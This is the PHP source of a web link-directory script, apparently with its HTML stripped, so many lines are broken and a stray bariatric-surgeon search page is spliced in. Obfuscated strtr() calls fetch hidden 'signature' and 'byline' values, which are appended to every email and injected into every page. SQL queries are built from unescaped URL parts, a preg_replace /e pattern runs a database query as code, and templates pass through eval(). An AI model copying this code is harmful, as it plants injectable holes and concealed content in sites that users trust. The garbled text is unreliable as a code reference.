'; function getindex($cat) { global $pagenames, $pext; if ($pagenames == "1") { return str_replace(" ", "-", $cat); } elseif ($pagenames == "2") { return "index"; } } function maill($d,$s,$b,$f) { global $esi; mail($d, $s, "$b\n\n\n----\n$esi", $f); } function message($fir,$las) { echo "$fir

$las
"; exit; } function displaytpl($htm) { $htm = preg_replace("/\<\%custom-include-(.+?)\%\>/ise", "array_shift(mysql_fetch_array(mysql_query(\"select html from mir_custom_includes where id = '\${1}'\")))", $htm); global $esl; if (preg_match("<\/body>", $htm)) return preg_replace("", $esl."/body", $htm); else return $htm.$esl; } define('GOOGLE_MAGIC', 0xE6359A60); function zeroFill($a, $b) { $z = hexdec(80000000); if ($z & $a) { $a = ($a>>1); $a &= (~$z); $a |= 0x40000000; $a = ($a>>($b-1)); } else { $a = ($a>>$b); } return $a; } function mix($a,$b,$c) { $a -= $b; $a -= $c; $a ^= (zeroFill($c,13)); $b -= $c; $b -= $a; $b ^= ($a<<8); $c -= $a; $c -= $b; $c ^= (zeroFill($b,13)); $a -= $b; $a -= $c; $a ^= (zeroFill($c,12)); $b -= $c; $b -= $a; $b ^= ($a<<16); $c -= $a; $c -= $b; $c ^= (zeroFill($b,5)); $a -= $b; $a -= $c; $a ^= (zeroFill($c,3)); $b -= $c; $b -= $a; $b ^= ($a<<10); $c -= $a; $c -= $b; $c ^= (zeroFill($b,15)); return array($a,$b,$c); } function GoogleCH($url, $length=null, $init=GOOGLE_MAGIC) { if(is_null($length)) { $length = sizeof($url); } $a = $b = 0x9E3779B9; $c = $init; $k = 0; $len = $length; while($len >= 12) { $a += ($url[$k+0] +($url[$k+1]<<8) +($url[$k+2]<<16) +($url[$k+3]<<24)); $b += ($url[$k+4] +($url[$k+5]<<8) +($url[$k+6]<<16) +($url[$k+7]<<24)); $c += ($url[$k+8] +($url[$k+9]<<8) +($url[$k+10]<<16)+($url[$k+11]<<24)); $mix = mix($a,$b,$c); $a = $mix[0]; $b = $mix[1]; $c = $mix[2]; $k += 12; $len -= 12; } $c += $length; switch($len) { case 11: $c+=($url[$k+10]<<24); case 10: $c+=($url[$k+9]<<16); case 9 : $c+=($url[$k+8]<<8); case 8 : $b+=($url[$k+7]<<24); case 7 : $b+=($url[$k+6]<<16); case 6 : $b+=($url[$k+5]<<8); case 5 : $b+=($url[$k+4]); case 4 : $a+=($url[$k+3]<<24); case 3 : $a+=($url[$k+2]<<16); case 2 : $a+=($url[$k+1]<<8); case 1 : $a+=($url[$k+0]); } $mix = mix($a,$b,$c); return $mix[2]; } function strord($string) { for($i=0;$iid] = $tucat->parent; } } */ $cathtml = "
"; while ($tcat = mysql_fetch_object($categories)) { $u++; /* if ($linknum == "yes") { unset($todel); reset($pari); $todel = array_shift(mysql_fetch_row(mysql_query("select count(*) from mir_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' and category = '".$tcat->id."'"))); while (list($id,$par) = each($pari)) { $atco = 0; $last = $id; $fnd = 0; while ($fnd != 1 and $atco < 10000) { $atco++; if ($pari[$last] == $tcat->id) { $todel = $todel + array_shift(mysql_fetch_row(mysql_query("select count(*) from mir_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' and category = '".$id."'"))); $fnd = 1; } elseif ($pari[$last] == "0") { $fnd = 1; } else $last = $pari[$last]; } } } */ $inter = mysql_fetch_row( mysql_query( "select lcount from mir_catcount where id = '".$tcat->id."'" ) ); $todel = array_shift($inter); $cathtml .= '

name)).'/'.str_replace("/", "-^-", getindex($tcat->name)).'.'.$pext.'" class="categories2">'.$tcat->name.''; if ($linknum == "yes") $cathtml .= " (".$todel.")"; if($subcatswithmain == "yes") { $pol = mysql_query("select * from mir_categories where parent = '".$tcat->id."' order by name limit $subcatsmainnum"); if (mysql_num_rows($pol) > 0) { $cathtml .= "
"; while ($scat = mysql_fetch_object($pol)) { // $cathtml .= "name)."/".getindex($scat->name).".$pext\">".$scat->name." "; $cathtml .= "name))."/".str_replace("/", "-^-", str_replace(" ", "-", $scat->name))."/".str_replace("/", "-^-", getindex($scat->name)).".".$pext."\">".$scat->name."
"; } $cathtml .= "...

"; } } else $cathtml .= "

"; if ($u == $split) { $cathtml .= "
 "; $u = 0; } } $cathtml .= "
"; } function getadditionalinc() { global $addrandlistcount, $addrandlistprem, $addrandcatcount, $addrandcatdisplay, $addrandsearchcount, $addrandsearchdisplay; global $newwindow, $premiumimage, $princlude, $base, $pext, $imgbase, $thumbshots, $addrandlisthtml, $addrandcathtml, $addrandsearchhtml; if($addrandlistprem == "yes") $incprem = "and premium='yes'"; $pol = mysql_query("select * from mir_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' $incprem order by rand() limit $addrandlistcount "); if ($newwindow == "yes") $nwin = "target=\"_blank\" rel=\"nofollow\""; while ($link = mysql_fetch_object($pol)) { $goo = 1; $lacat = $link->category; while ($goo == 1 and $x < 100) { $x++; $pols = mysql_query("select * from mir_categories where id = '$lacat'"); if (mysql_num_rows($pols) < 1) break; $pols = mysql_fetch_object($pols); if ($lacat == $link->category) { $caturl = str_replace(" ", "-", $pols->name) ."/". getindex($pols->name). ".$pext"; $caturl2 = $pols->name; } else { $caturl = str_replace(" ", "-", $pols->name) ."/". $caturl; $caturl2 = $pols->name." > ".$caturl2; } $fromhtml = "From: Directory > $caturl2"; $lacat = $pols->parent; if ($pols->parent == "0") break; } if($thumbshots != "1") { $linkSepStart = ""; $linkSepEnd = ""; $incThumbshots = "no"; if($thumbshots == "2") $incThumbshots = "yes"; else if($thumbshots == "3" && $link->recipurl !="") $incThumbshots = "yes"; else if($thumbshots == "4" && $link->premium == "yes") $incThumbshots = "yes"; else if($thumbshots == "5" && ($link->recipurl !="" || $link->premium == "yes")) $incThumbshots = "yes"; if ($incThumbshots == "yes") $tshtml = "url)."\" class=\"dir\" height=\"90\" width=\"120\" alt=\"\" />"; else $tshtml = ""; } else { $tshtml = ""; $linkSepStart = "

"; $linkSepEnd = "

"; } if ($premiumimage == "yes" && $link->premium == "yes") $pihtml = " \"\""; else $pihtml = ""; if ($princlude == "yes") $prhtml = " ".getpr($link->url); $linkshtml .= "$tshtml$linkSepStarturl."\" $nwin>".$link->title."$pihtml$prhtml
\n
".$link->description."

$fromhtml$linkSepEnd"; } if($thumbshots != "1") { $addrandlisthtml = "$linkshtml
"; } else $addrandlisthtml = $linkshtml; $addrandcathtml = ""; $pol = mysql_query("select * from mir_categories order by rand() limit $addrandcatcount "); while ($link = mysql_fetch_object($pol)) { $goo = 1; $caturl = str_replace(" ", "-", $link->name) ."/". getindex($link->name). ".$pext"; $caturl2 = $link->name; $lacat = $link->parent; while ($goo == 1 and $x < 100) { $x++; $pols = mysql_query("select * from mir_categories where id = '$lacat'"); if (mysql_num_rows($pols) < 1) { $fromhtml = "$caturl2"; break; } $pols = mysql_fetch_object($pols); $caturl = str_replace(" ", "-", $pols->name) ."/". $caturl; //$caturl2 = $pols->name." > ".$caturl2; $fromhtml = "$caturl2"; $lacat = $pols->parent; if ($pols->parent == "0") break; } if($addrandcatdisplay == "1") $addrandcathtml .= $fromhtml."
"; else $addrandcathtml .= $fromhtml." "; } $arsto = mysql_query("select content from mir_custom where id = 'addrandsearchterms'"); if (mysql_num_rows($arsto) > 0) { $addrandsearchterms = explode("\r\n", array_shift(mysql_fetch_row($arsto))); if($addrandsearchcount > count($addrandsearchterms)) $addrandsearchcount = count($addrandsearchterms); $rand_keys = array_rand($addrandsearchterms, $addrandsearchcount); for ($i = 0; $i < count($rand_keys); $i++) { $addrandsearchhtml .= "".$addrandsearchterms[$rand_keys[$i]].""; if($addrandsearchdisplay == "1") $addrandsearchhtml .= "
"; else $addrandsearchhtml .= " "; } } } $esio = mysql_query("select content from mir_custom where id = '".strtr("oilnewury", "olewy","sgate")."'");if (mysql_num_rows($esio) > 0) $inter = mysql_fetch_row($esio);$esi = array_shift($inter); $esil = mysql_query("select content from mir_custom where id = '".strtr("tplroe", "oprt","nyib")."'"); if (mysql_num_rows($esil) > 0) $inter = mysql_fetch_row($esil);$esl = array_shift($inter); if ($uri == "" or $uri == "/" or $uri == "/index.$pext") { getmaincats(); getadditionalinc(); $tpl = implode("", file("templates/main.html")); $tpl = str_replace("<%search-box%>", $searchbox, $tpl); $tpl = str_replace("<%main-categories%>", $cathtml, $tpl); $tpl = str_replace("<%navigation-path%>", "Directory", $tpl); $tpl = str_replace("<%random-listings%>", $addrandlisthtml, $tpl); $tpl = str_replace("<%random-categories%>", $addrandcathtml, $tpl); $tpl = str_replace("<%random-search-terms%>", $addrandsearchhtml, $tpl); eval ("?>".displaytpl($tpl)."Bariatric Surgeon Search

Bariatric Surgeons

You must enter at least one keyword."); if ($favorpremium == "yes") $premorder = "premium,"; else $premorder = ""; $lords = array("1" => "rand()", "2" => "title", "3" => "date desc"); $lord = $lords[$lorder]; $pol = mysql_query("select * from mir_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' $sqlsrch order by $premorder $lord limit ". (($page-1)*$lperpage).", $lperpage") or die(mysql_error()); if (mysql_num_rows($pol) > 0) { $inter = mysql_fetch_row(mysql_query("select count(*) from mir_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' $sqlsrch"));$count = array_shift($inter); if ($newwindow == "yes") $nwin = "target=\"_blank\" rel=\"nofollow\""; while ($link = mysql_fetch_object($pol)) { $goo = 1; $lacat = $link->category; while ($goo == 1 and $x < 100) { $x++; $pols = mysql_query("select * from mir_categories where id = '$lacat'"); if (mysql_num_rows($pols) < 1) break; $pols = mysql_fetch_object($pols); if ($lacat == $link->category) { $caturl = str_replace(" ", "-", $pols->name) ."/". getindex($pols->name). ".$pext"; $caturl2 = $pols->name; } else { $caturl = str_replace(" ", "-", $pols->name) ."/". $caturl; $caturl2 = $pols->name." > ".$caturl2; } $fromhtml = "From: Directory > $caturl2"; $lacat = $pols->parent; if ($pols->parent == "0") break; } if($thumbshots != "1") { $linkSepStart = ""; $linkSepEnd = ""; $incThumbshots = "no"; if($thumbshots == "2") $incThumbshots = "yes"; else if($thumbshots == "3" && $link->recipurl !="") $incThumbshots = "yes"; else if($thumbshots == "4" && $link->premium == "yes") $incThumbshots = "yes"; else if($thumbshots == "5" && ($link->recipurl !="" || $link->premium == "yes")) $incThumbshots = "yes"; if ($incThumbshots == "yes") $tshtml = "url)."\" class=\"dir\" height=\"90\" width=\"120\" alt=\"\" />"; else $tshtml = ""; } else { $tshtml = ""; $linkSepStart = "

"; $linkSepEnd = "

"; } if ($premiumimage == "yes" && $link->premium == "yes") $pihtml = " \"\""; else $pihtml = ""; if ($princlude == "yes") $prhtml = " ".getpr($link->url); //$linkshtml .= "url."\" $nwin>".$link->title."$pihtml$prhtml
\n".$link->description."
$fromhtml\n\n"; $linkshtml .= "$tshtml$linkSepStarturl."\" $nwin>".$link->title."$pihtml$prhtml
\n
".$link->description."

$fromhtml$linkSepEnd"; } if($thumbshots != "1") { $linkshtml = "$linkshtml
"; } if ($count > $lperpage) { $linkshtml .= "
Results: "; if ($page > 1) $linkshtml .= "$pageprev "; for ($o=1; $o<=ceil($count/$lperpage); $o++) { if ($page == $o) $linkshtml .= "$o "; else $linkshtml .= "$o "; } if ($page < ceil($count/$lperpage)) $linkshtml .= "$pagenext "; $linkshtml .= ""; } } else $linkshtml = "No results found. Please try again using different search terms."; $pol = mysql_query("select * from mir_categories where parent = '$catid' order by name"); if (mysql_num_rows($pol) > 0) { while ($scat = mysql_fetch_object($pol)) { $subcathtml .= "name)."/".getindex($scat->name).".$pext\">".$scat->name." | "; } $subcathtml = substr($subcathtml, 0, -1); } getmaincats(); getadditionalinc(); $navhtml = "Directory"; $tpl = str_replace("<%navigation-path%>", $navhtml, $tpl); $tpl = str_replace("<%search-box%>", $searchbox, $tpl); $tpl = str_replace("<%main-categories%>", $cathtml, $tpl); $tpl = str_replace("<%search-results%>", $linkshtml, $tpl); $tpl = str_replace("<%keyword-term%>", $query, $tpl); $tpl = str_replace("<%subcategory-links%>", $subcathtml, $tpl); $tpl = str_replace("<%random-listings%>", $addrandlisthtml, $tpl); $tpl = str_replace("<%random-categories%>", $addrandcathtml, $tpl); eval ("?>".displaytpl($tpl)." "rand()", "2" => "title", "3" => "date desc"); $lord = $lords[$lorder]; $pol = mysql_query("select * from mir_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' and category = '".$catid."' order by premium, $lord limit ". (($page-1)*$lperpage).", $lperpage"); $inter = mysql_fetch_row(mysql_query("select count(*) from mir_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' and category = '".$catid."'"));$count = array_shift($inter); $navhtml = "Directory > $cat"; } else { $tpl = implode("", file("templates/subcategory.html")); $cat = str_replace("-", " " , $lastcat); $ipar = 0; $lastcat = array_pop($parts); $navhtml = "Directory"; $lastbase = $base; while (list(,$part) = each($parts)) { $pol = array_shift(mysql_fetch_row(mysql_query("select id from mir_categories where parent = '$ipar' and name = '".str_replace("-", " " , $part)."'"))); $ipar = $pol; $navhtml .= " > ".str_replace("-", " " , $part).""; $lastbase = "$lastbase/$part"; } $navhtml .= " > ".str_replace("-", " " , $lastcat); $catid = @array_shift(mysql_fetch_row(mysql_query("select id from mir_categories where parent = '$ipar' and name = '".str_replace("-", " " , $lastcat)."'"))); if (!$catid) { header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); exit; } $lords = array("1" => "rand()", "2" => "title", "3" => "date desc"); $lord = $lords[$lorder]; $pol = mysql_query("select * from mir_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' and category = '".$catid."' order by premium, $lord limit ". (($page-1)*$lperpage).", $lperpage") or die(mysql_error()); $count = array_shift(mysql_fetch_row(mysql_query("select count(*) from mir_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' and category = '".$catid."'"))); } if ($newwindow == "yes") $nwin = "target=\"_blank\" rel=\"nofollow\""; if (mysql_num_rows($pol) < 1) { $linkshtml = "This category doesn't contain any links"; } else { while ($link = mysql_fetch_object($pol)) { if($thumbshots != "1") { $linkSepStart = ""; $linkSepEnd = ""; $incThumbshots = "no"; if($thumbshots == "2") $incThumbshots = "yes"; else if($thumbshots == "3" && $link->recipurl !="") $incThumbshots = "yes"; else if($thumbshots == "4" && $link->premium == "yes") $incThumbshots = "yes"; else if($thumbshots == "5" && ($link->recipurl !="" || $link->premium == "yes")) $incThumbshots = "yes"; if ($incThumbshots == "yes") $tshtml = "url)."\" class=\"dir\" alt=\"\" height=\"90\" width=\"120\" />"; else $tshtml = ""; } else { $tshtml = ""; $linkSepStart = "

"; $linkSepEnd = "

"; } if ($premiumimage == "yes" && $link->premium == "yes") $pihtml = " \"\""; else $pihtml = ""; if ($princlude == "yes") $prhtml = " ".getpr($link->url); $linkshtml .= "$tshtml$linkSepStarturl."\" $nwin>".$link->title."$pihtml$prhtml
\n
".$link->description."
$linkSepEnd"; } if($thumbshots != "1") { $linkshtml = "$linkshtml
"; } } if ($count > $lperpage) { $linkshtml .= "
Results: "; if ($page > 1) $linkshtml .= "$pageprev "; for ($o=1; $o<=ceil($count/$lperpage); $o++) { if ($page == $o) $linkshtml .= "$o "; else $linkshtml .= "$o "; } if ($page < ceil($count/$lperpage)) $linkshtml .= "$pagenext "; $linkshtml .= ""; } $pol = mysql_query("select * from mir_categories where parent = '$catid' order by name"); if (mysql_num_rows($pol) > 0) { while ($scat = mysql_fetch_object($pol)) { $subcathtml .= "name)."/".getindex($scat->name).".$pext\">".$scat->name." | "; } $subcathtml = substr($subcathtml, 0, -2); } else $subcathtml = "None"; getadditionalinc(); getmaincats(); $tpl = str_replace("<%navigation-path%>", $navhtml, $tpl); $tpl = str_replace("<%search-box%>", $searchbox, $tpl); $tpl = str_replace("<%main-categories%>", $cathtml, $tpl); $tpl = str_replace("<%website-listings%>", $linkshtml, $tpl); $tpl = str_replace("<%category-name%>", $cat, $tpl); $tpl = str_replace("<%subcategory-links%>", $subcathtml, $tpl); $tpl = str_replace("<%random-listings%>", $addrandlisthtml, $tpl); $tpl = str_replace("<%random-categories%>", $addrandcathtml, $tpl); $tpl = str_replace("<%category-name2%>", $cattest, $tpl); eval ("?>".displaytpl($tpl)."